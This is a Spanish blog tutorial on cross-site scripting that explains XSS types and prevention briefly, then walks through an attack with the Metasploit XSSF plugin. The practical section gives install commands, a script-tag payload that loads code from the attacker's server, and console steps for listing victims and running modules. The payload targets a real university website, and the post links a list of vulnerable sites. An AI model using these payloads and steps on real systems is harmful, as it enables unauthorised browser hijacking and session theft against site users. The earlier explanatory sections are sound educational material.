INDICE

1. Aclaración
2. Introduccción
3. Glosario
4. Definición XSS
5. La identificación de Cross-Site Scripting (vulnerabilidades)
6. Tipos de Ataque XSS
>6.1 XSS Reflectantes
>6.2 XSS Persistentes
7. Objetivo del Ataque XSS
8. ¿Cómo funciona?
9. ¿Cómo evitarlo?
10. ¿En qué navegadores se puede aplicar?
11.Aplicación del Ataque
>11.1Software Utilizados para la Ataque XSS
>11.2Verificación de las IP
>11.3Usando XSSF con Metasploit
>11.4Instalación de Plugin XSSF
>11.5Ejemplo Aplicativo
12.Video Demostrativo
13. Conclusión
14.Bibliografía

 

1. ACLARACIÓN

El siguiente tutorial esta hecho con fines educativos, como posible soluciones a problemas que ha diario suceden en el mundo de la informática, esto puede ser por una o varias personas que buscan vulnerar la seguridad de este medio. No nos responsabilizamos por la visualización, gestión o manipulación del material presentado en este blog.

Este pequeño  tutorial lo realizamos para todos aquellos que desean conocer como poder usar los distintos comandos que posee la herramienta metaploist que se encuentra en el Sistema Operativo BackTrack, para esta ocasión usaremos el Plugin XSSF,  este funciona en la gran mayoría de los casos permite el ataque a paginas web vulnerables, tal como se indicara mas adelante.

2. INTRODUCCIÓN

XSS, del inglés Cross-site scripting, se usa la X en lugar de la C para que no se confunda esta sigla con la de CSS (Hojas de Estilo en Cascada), que no es una falla sino más bien una tecnología para maquetado de páginas. Es uno de los ataques web más comunes de capa de aplicación.  Un tipo de inseguridad informática o agujero de seguridad típico de las aplicaciones Web, que permite a una tercera parte inyectar en páginas web vistas por el usuario código JavaScript o en otro lenguaje script similar, evitando medidas de control como la Política del mismo origen. Este tipo de vulnerabilidad se conoce en español con el nombre de Secuencias de comandos en sitios cruzados.

3. GLOSARIO

A continuación le detallaremos una lista de términos que intervienen en este tema.

Ataque informático: Consiste en aprovechar alguna debilidad o vulnerabilidad en el software, en el hardware, e incluso, en las personas que forman parte de un ambiente informático, causando un efecto negativo en la seguridad del sistema, que luego repercute en los activos de la organización.

Vulnerabilidad: Hace referencia a una debilidad en un sistema, permitiendo a un atacante  violar la confidencialidad, integridad, disponibilidad, control de acceso y consistencia del sistema o de sus datos y aplicaciones.

Script: Son un conjunto de instrucciones generalmente almacenadas en un archivo de texto que deben ser interpretados línea a línea en tiempo real para su ejecución, se distinguen de los programas, pues estos deben ser convertidos a un archivo binario ejecutable.

URL: Significa Uniform Resource Locator (Localizador Uniforme de Recursos). Es una dirección que permite acceder a un archivo  o recurso como ser páginas html, php, asp, o archivos gif, jpg, etc. Se trata de una cadena de caracteres que identifica cada recurso disponible en la www.

Metasploit: Es una herramienta para desarrollar y ejecutar exploits contra una máquina remota.

msfconsole: Es probablemente la interfaz más popular de la MSF, ofrece un todo-en-uno consola centralizada, permite acceso eficaz a prácticamente todas las opciones disponibles en el Metasploit.

XSSF: Es un framework, creado por Ludovic Courgnaud, que nos permite “administrar” víctimas de XSS genéricos y realizar posteriores ataques, así como mantener el enlace para futuros ataques.

4. DEFINICIÓN XSS (Cross-site scripting)

El concepto de XSS es manipular las secuencias de comandos del lado del cliente de una aplicación web para ejecutar de la manera deseada por el usuario malicioso. Tal manipulación puede incrustar un script en una página que puede ser ejecutado cada vez que se carga la página, o cada vez que un evento asociado se realiza.

En un ataque XSS típica del hacker infecta una página web legítima de su malicioso script de cliente. Cuando un usuario visita esta página web el script que se descarga de su navegador y se ejecuta. Hay muchas variaciones de este tema, sin embargo todos los ataques XSS siguen este patrón, que se representa en el siguiente diagrama.

5. LA IDENTIFICACIÓN DE CROSS-SITE SCRIPTING (VULNERABILIDADES)

Vulnerabilidades XSS puede ocurrir si:

  • Entrada de entrar en las aplicaciones web no se valida
  • Salida para el navegador no es HTML codificado

 

6. TIPOS DE ATAQUE XSS

6.1 XSS REFLECTANTES

Hay muchas maneras en que un atacante puede atraer a su víctima a iniciar una solicitud XSS reflexivo. Por ejemplo, el atacante podría enviar a la víctima un correo electrónico engañoso con un enlace que contiene código JavaScript malicioso. Si la víctima hace clic en el enlace, la petición HTTP se inicia desde el navegador de la víctima y se envía a la aplicación web vulnerable. El código JavaScript malicioso luego se refleja de vuelta al navegador de la víctima, en los que se ejecuta en el contexto de la sesión del usuario víctima.

6.2 XSS PERSISTENTES

Considere la posibilidad de una aplicación web que permite al usuario introducir un nombre de usuario que se muestra en la página del perfil de cada usuario. La aplicación almacena cada nombre de usuario en una base de datos local. Un usuario malicioso se da cuenta de que la aplicación Web no puede desinfectar el campo de nombre de usuario y código malicioso JavaScript entradas como parte de su nombre de usuario. Cuando otros usuarios ver la página de perfil del atacante, el código malicioso se ejecuta automáticamente en el contexto de la sesión.

 

7. OBJETIVO DEL ATAQUE XSS

Cuando los atacantes tener éxito en la explotación de vulnerabilidades XSS, pueden acceder a las credenciales de la cuenta. También se puede propagar gusanos Web o acceder al ordenador del usuario y ver el historial del navegador del usuario o controlar el navegador de forma remota. . Después de ganar el control de sistema de la víctima, los atacantes también puede analizar y utilizar otras aplicaciones de intranet.

Mediante la explotación de vulnerabilidades XSS, un atacante puede realizar acciones maliciosas, tales como:

  • Secuestrar una cuenta
  • Acceso historial del navegador y el contenido del portapapeles
  • Controlar el navegador de forma remota
  • Explorar y explotar aplicaciones de intranet y aplicaciones
  • Modificación del contenido
  • Acceso a la información confidencial o restringida
  • Robo de sesión
  • La alteración de la funcionalidad del aplicativo web
  • Ataques de denegación de servicio.

8. ¿CÓMO FUNCIONA?

El XSS es un problema de seguridad en las página web, generalmente por vulnerabilidades  en el sistema de validación de datos  entrantes. Un ataque XSS consiste en enviar un script malicioso a la página, ocultándolo entre solicitudes legítimas. Para funcionar necesitan un punto de entrada, que suelen ser los formularios. A través de un ataque XSS, se puede secuestrar cuentas, cambiar configuraciones de los usuarios, acceder a partes restringidas del sitio, modificar el contenido del sitio, etc. El Marco de XSS (XSSF) es capaz de gestionar las víctimas de un ataque XSS genéricos y mantener una conexión para ataques futuros.

Después de la inyección del ataque genérico (recursos”bucle” generado por XSSF), cada víctima le pedirá al servidor de ataque (cada “x” segundos) en caso de nuevos comandos están disponibles:

  • Simple script / ejecución HTML (módulos XSSF auxiliar) en víctima específica o grupo de víctimas.
  • MSF Explotar la ejecución de las víctimas específicas.
  • XSS túnel con la víctima objetivo.

 

9. ¿CÓMO EVITARLO?

Para evitar este tipo de ataques, se deben programar las aplicaciones web, filtrando determinados comandos. En general en los ataques XSS son usadas etiquetas como SCRIPT, OBJECT, APPLET, EMBED y FORM. Actualmente en la web encontramos herramientas tales como Veracode que están haciendo un servicio gratuito disponible como parte de erradicar esta vulnerabilidad común definidos por el Estado Veracode Informe de Software de Seguridad.

 

10. ¿EN QUÉ NAVEGADORES SE PUEDE APLICAR?

            • Mozilla Firefox (2, 3, 3.5, 3.6, 4)
            • Google Chrome (5, 6 Beta)
            • Microsoft Internet Explorer (6, 7, 8, 9 Preview)
            • Apple Safari (3, 4, 5)
            • Opera (9, 10)
            • Entre otros

11. APLICACIÓN DEL ATAQUE

11.1 Software Utilizados para la Ataque XSS

 VMware

Es un sistema de virtualización por software. Un sistema virtual por software es un programa que simula un sistema físico (un computador, un hardware) con unas características de hardware determinadas. Cuando se ejecuta el programa (simulador), proporciona unambiente de ejecución similar a todos los efectos a un computador físico (excepto en el puro acceso físico al hardware simulado), con CPU (puede ser más de una), BIOS, tarjeta gráfica, memoria RAM, tarjeta de red, sistema de sonido, conexión USB, disco duro (pueden ser más de uno), etc.

Con este software vamos a crear 2 máquinas virtuales:

  • Back Track
  • Windows XP

 

11.2 Verificación de las IP

Luego de haber creado las maquinas debemos confirmar que se encuentren en la misma red, nos dirigiremos a cada una de las maquinas y revisaremos las IP abriendo las consolas de cada Sistemas Operativo. En el caso de Windows XP abrimos en el cmd, usamos el comando ipconfig:

Para el caso de BackTrack se debe abrir la consola root y digitamos el comando ifconfig:

11.3 Usando XSSF con Metasploit

 XSSF es utilizado en Metasploit como un plugin adicional que se carga en el momento en el que se decida hacer uso de el, antes de cargarlo, se debe tener en cuenta que las primeras instrucciones que se llevaran a cabo por el plugin, son la conexión con una base de datos para almacenar los resultados de las pruebas de penetración ejecutadas, si desde la consola de metasploit no existe ninguna conexión a base de datos activa, el plugin de xssf intentara crear una base de datos con sqlite3.

Algunas sentencias:

msf > xssf_TAB TAB
msf > search xssf
msf > xssf_servers
msf > xssf_active_victims
msf > xssf_information 1

Como primer paso importante se debe descargar el plugin de XSSF para metasploit. A continuación le adjuntamos el link para que puedan descargar esta aplicación:

http://www.metasploit.com/redmine/attachments/596/XSSF.zip

Todo el contenido de este fichero comprimido se extrae en el directorio raíz de metasploit del Sistema Operativo BackTrack.

11.4  Instalación de Plugin XSSF

Abrimos la terminal del backtrack, procedemos a escribir el siguiente  código de instalación.

cd /opt/framework-3.7.0/msf3
wget http://dev.metasploit.com/redmine/attachments/596/XSSF.zip
unzip XSSF.zip
cp -r data/ lib/ modules/ plugins/ ../

 Una vez ya instalado esta aplicación podremos realizar nuestro ataque.

 

11.5 Ejemplo Aplicativo

 Primeramente nos ubicaremos en el Windows XP, usaremos el navegador Internet Explorer para la práctica, como se ha mencionado el XSS es un ataque basado en páginas vulnerables, previamente ya hemos buscado una página web accesible para el ejemplo, a continuación les dejaremos un link donde podrán encontrar algunas páginas web vulnerables:

http://www.hackxcrack.es/forum/index.php?topic=5974.0

Como se puede observar en la imagen siguiente, tenemos abierto un sitio web en Windows XP, la dirección es: https://vivo.ufl.edu/search?flag1=1&querytext

A continuación nos cambiaremos al sistema operativo BackTrack, y realizaremos los siguientes pasos:

1. Activamos la herramienta metasploit con el comando msfconsole, esto nos permitirá utilizar el plugin de XSSF.

2. Cargar el XSSF. Al igual que otras extensiones, se emplea el comando load para cargar un plugin en el contexto de metasploit.  Digitamos load XSSF.

3. Una vez cargado el plugin, se iniciará un servidor en la ruta indicada. La ruta http://192.168.159.137:8888/loop la establecemos en un navegador web para verificar que su funcionamiento es el esperado, esto será ubicado dentro de un script:

                <script src=“http://192.168.159.137:8888/loop?interval=5”></script>

Esta sentencia la insertada en la URL de la página web vulnerable que anteriormente levantamos en el navegador Internet Explorer del Windows XP, a continuación actualizamos el portal web.

4. Una vez se ha inyectado la ruta anterior sobre una aplicación vulnerable, regresamos a nuestra consola de metasploit en el BackTrack, se utilizará el comando xssf_active_victims para ver las victimas que han verificado en el enlace.

     

5. Podemos ver información relacionada con alguna de las victimas utilizando el comando xssf_information <ID_VICTIM>, el ID_VICTIM es el numero de la id de la victima.

                

6. Posteriormente, podemos ejecutar alguno de los auxiliaries ubicados en auxiliary/xssf para ejecutar diferentes operaciones sobre las victimas, por ejemplo desde la consola metasploit usamos el auxiliary: use auxiliary/xssf/alert.

                          

7. Ingresamos un mensaje de texto que se ejecutará como un alert en la aplicación objetivo. La sentencia a digitar es set AlertMessage (mensaje a mostar) y una vez cargado el mensaje se escribe la instrucción run para ejecutar.

8. En la página web vulnerable del Windows XP, se lanzará un mensaje de javascript con el texto indicado en la opción AlertMessage del auxiliary.

El uso de los auxiliaries para XSSF es bastante similares en todos los casos, el único requisito fundamental para que su funcionamiento sea el esperado, es precisamente, que exista un una víctima XSS activa o con una cookie incrustada en el navegador, puede usarse el auxiliary correspondiente a la inserción de una cookie en el navegador con el auxiliary: auxiliary/xssf/cookie.

 

12. VIDEO DEMOSTRATIVO

Ataque XSS usando Back Track S7K – 2012

 

13. CONCLUSIÓN

El creciente desarrollo actual del paradigma Web para el desarrollo de aplicaciones está planteando nuevas amenazas de seguridad contra las infraestructuras de dichas aplicaciones, están deben considerar la necesidad de utilizar herramientas de soporte que garanticen un desarrollo seguro y libre de vulnerabilidades como técnicas de programación segura, modelos de programación segura y especialmente la construcción de marcos de desarrollo y producción.

En este blog, nos hemos enfocado acerca de ataques contra aplicaciones Web, es especifico el plugin XSS de la herramienta Back track, siendo esta una herramienta muy encontrada en el medio informático. Conocimos como la existencia de vulnerabilidades de cross-site scripting (XSS) en una aplicación puede suponer un riesgo muy importante tanto para la misma aplicación como para sus usuarios. También hemos revisado las técnicas que se utilizan para la prevención de ataques XSS, ya sea el caso de ataques XSS persistentes o no persistentes, actualmente hay soluciones muy interesantes con diferentes modos de intentar solucionar el problema pero estas soluciones tiene algunos fallos, algunas no garantizan un nivel de seguridad suficiente y pueden ser fácilmente vulneradas, explicamos un pequeño ejemplo demostrativo de como se realiza el ataque usando herramientas, comandos, instrucciones, etc., entre maquinas virtuales. Concluimos que una solución eficiente y completa para prevenir ataques XSS se debería considerar la aplicación de políticas de seguridad definidas en el la parte del servidor e implementadas en la parte del cliente.

14. BIBLIOGRAFÍA

http://es.wikipedia.org/wiki/Cross-site_scripting
http://www.alegsa.com.ar/Dic/xss.php
http://comandante-linux.blogspot.com/2011/05/xssf-metasploit-ubuntu-1104.html
http://thehackerway.com/2011/05/27/utilizando-xssf-en-metasploit-framework-explotando-xss/
http://www.kungfoosion.com/2011/02/explotando-xss-con-metasploit.html

 

Integrantes: